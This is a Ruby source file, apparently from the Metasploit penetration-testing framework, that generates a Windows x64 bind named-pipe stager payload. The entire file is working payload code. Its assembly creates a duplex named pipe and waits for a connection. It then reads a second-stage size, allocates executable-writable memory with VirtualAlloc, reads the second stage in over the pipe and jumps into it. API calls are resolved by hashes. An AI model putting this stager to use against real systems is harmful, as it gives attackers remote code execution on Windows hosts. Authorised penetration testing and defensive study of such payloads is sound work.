lib/msf/core/payload/windows/x64/bind_named_pipe_x64.rb
# -*- coding: binary -*-
module Msf
###
#
# bind_named_pipe payload generation for Windows ARCH_X86_64
#
###
module Payload::Windows::BindNamedPipe_x64
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::SendUUID_x64
include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
#
# Register bind_named_pipe specific options
#
def initialize(*args)
super
register_advanced_options(
[
OptInt.new('WAIT_TIMEOUT', [false, 'Seconds pipe will wait for a connection', 10])
]
)
end
#
# Generate the first stage
#
def generate(_opts = {})
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'],
timeout: datastore['WAIT_TIMEOUT'],
reliable: false,
}
# Generate the advanced stager if we have space
if self.available_space && cached_size && required_space <= self.available_space
conf[:reliable] = true
conf[:exitfunk] = datastore['EXITFUNC']
end
generate_bind_named_pipe(conf)
end
#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
#
# Generate and compile the stager
#
def generate_bind_named_pipe(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp ; block API pointer
#{asm_bind_named_pipe(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
def transport_config(opts={})
transport_config_bind_named_pipe(opts)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Reliability adds bytes! +81 if exitfunk, otherwise +119
#space += 81
space += 119
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end
def uuid_required_size
# TODO update this
space = 0
# UUID size
space += 16
end
#
# hPipe must be in rdi. rax will contain WriteFile return value
#
def asm_send_uuid(uuid=nil)
uuid ||= generate_payload_uuid
uuid_raw = uuid.to_raw
asm << %Q^
send_uuid:
mov rcx, rdi ; hPipe
call get_uuid_address ; put uuid buffer on the stack
db #{raw_to_db(uuid_raw)}
get_uuid_address:
pop rdx ; lpBuffer
push #{uuid_raw.length}
pop r8 ; nNumberOfBytesToWrite
sub rsp, 16 ; allocate + alignment
mov r9, rsp ; lpNumberOfBytesWritten
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')}
call rbp ; WriteFile(hPipe, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten)
add rsp, 16
^
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
# @option opts [String] :name Pipe name to create
# @option opts [Int] :timeout Seconds to wait for pipe connection
#
def asm_bind_named_pipe(opts={})
reliable = opts[:reliable]
timeout = opts[:timeout] * 1000 # convert to millisecs
retry_wait = 500
retry_count = timeout / retry_wait
full_pipe_name = "\\\\\\\\.\\\\pipe\\\\#{opts[:name]}" # double escape -> \\.\pipe\name
chunk_size = 0x10000 # pipe buffer size
cleanup_funk = reliable ? 'cleanup_file' : 'failure'
pipe_mode = 1 # (PIPE_TYPE_BYTE|PIPE_NOWAIT|PIPE_READMODE_BYTE)
asm = %Q^
create_named_pipe:
call get_pipe_name
db "#{full_pipe_name}", 0x00
get_pipe_name:
pop rcx ; lpName
mov rdx, 3 ; dwOpenMode (PIPE_ACCESS_DUPLEX)
mov r8, #{pipe_mode} ; dwPipeMode
mov r9, 255 ; nMaxInstances (PIPE_UNLIMITED_INSTANCES). in case pipe isn't released
push 0 ; lpSecurityAttributes. Default r/w for creator and administrators
push 0 ; nDefaultTimeOut
push #{chunk_size} ; nInBufferSize
push #{chunk_size} ; nOutBufferSize
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateNamedPipeA')}
call rbp ; CreateNamedPipeA
mov rdi, rax ; save hPipe (using sockrdi convention)
; check for failure
cmp rax, -1 ; did it work? (INVALID_HANDLE_VALUE)
jz failure
; initialize retry counter
push #{retry_count} ; retry counter
pop r14
; Connect pipe to remote
connect_pipe:
mov rcx, rdi ; hPipe
xor rdx, rdx ; lpOverlapped
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ConnectNamedPipe')}
call rbp ; ConnectNamedPipe
; check for failure
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetLastError')}
call rbp ; GetLastError
cmp rax, 0x217 ; looking for ERROR_PIPE_CONNECTED
jz get_stage_size ; success
dec r14
jz #{cleanup_funk} ; out of retries
; wait before trying again
mov rcx, #{retry_wait}
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call rbp ; Sleep
jmp connect_pipe
^
asm << asm_send_uuid if include_send_uuid
asm << 'get_stage_size:'
# For reliability, set pipe state to wait so ReadFile blocks
if reliable
asm << %Q^
mov rcx, rdi ; hPipe
push 0 ; alignment
push 0
mov rdx, rsp ; lpMode (PIPE_WAIT)
xor r8, r8 ; lpMaxCollectionCount
xor r9, r9 ; lpCollectDataTimeout
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetNamedPipeHandleState')}
call rbp
^
end
asm << %Q^
; read size of second stage
mov rcx, rdi ; hPipe
push 0 ;
mov rdx, rsp ; lpBuffer
mov r8, 4 ; nNumberOfBytesToRead
push 0
mov r9, rsp ; lpNumberOfBytesRead
push 0 ; alignment
push 0 ; lpOverlapped
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call rbp ; ReadFile
add rsp, 0x30 ; adjust stack
pop rsi ; lpNumberOfBytesRead
^
if reliable
asm << %Q^
; check for bytesRead == 4
cmp rsi, 4 ; expecting 4 bytes
jnz cleanup_file
^
end
asm << %Q^
get_second_stage:
; Alloc a RWX buffer for the second stage
pop rsi ; pop off the second stage length
mov esi, esi ; only use the lower-order 32 bits for the size
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly received second stage length.
xor rcx, rcx ; NULL as we dont care where the allocation is.
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
^
if reliable
asm << %Q^
test rax, rax ; VirtualAlloc returning 0 is an error
jz cleanup_file
^
end
asm << %Q^
mov rbx, rax ; rbx = stage 2 address
mov r15, rax ; save the address so we can jump into it later
read_more:
; prepare the size min(0x10000, esi)
mov r8, #{chunk_size}
cmp r8, rsi
jle read_max ; read chunk_size
mov r8, rsi
read_max:
push 0 ; buffer for lpNumberOfBytesRead
mov r9, rsp ; lpNumberOfBytesRead
mov rdx, rbx ; lpBuffer
push 0 ; lpOverlapped
mov rcx, rdi ; hPipe
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call rbp ; ReadFile(hPipe, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped)
add rsp, 0x28 ; slight stack adjustment
pop rdx ; lpNumberOfBytesRead
^
if reliable
asm << %Q^
; check to see if the read worked
test rax, rax
jnz read_successful
; something failed so free up memory
push r15
pop rcx ; lpAddress
push 0x8000 ; MEM_RELEASE
pop r8 ; dwFreeType
push 0 ; 0 to decommit whole block
pop rdx ; dwSize
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call rbp ; VirtualFree(payload, 0, MEM_RELEASE)
cleanup_file:
; clean up the pipe handle
push rdi ; file handle
pop rcx ; hFile
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
call rbp ; CloseHandle(hPipe)
jmp failure
^
end
asm << %Q^
read_successful:
add rbx, rdx ; buffer += bytes_received
sub rsi, rdx ; length -= bytes_received
test rsi, rsi ; check for 0 bytes left
jnz read_more ; continue if we have more to read
jmp r15 ; jump into the second stage
^
asm << 'failure:'
if opts[:exitfunk]
asm << %Q^
and rsp, ~0xf ; Ensure RSP is 16 byte aligned
call exitfunk
^
asm << asm_exitfunk(opts)
elsif reliable
asm << %Q^
and rsp, ~0xf ; Ensure RSP is 16 byte aligned
call get_kernel32_name
db "kernel32", 0x00
get_kernel32_name:
pop rcx ;
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetModuleHandleA')}
call rbp ; GetModuleHandleA("kernel32")
call get_exit_name
db "ExitThread", 0x00
get_exit_name:
mov rcx, rax ; hModule
pop rdx ; lpProcName
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')}
call rbp ; GetProcAddress(hModule, "ExitThread")
xor rcx, rcx ; dwExitCode
call rax ; ExitProcess(0)
^
else
# run off the end
end
asm
end
end
end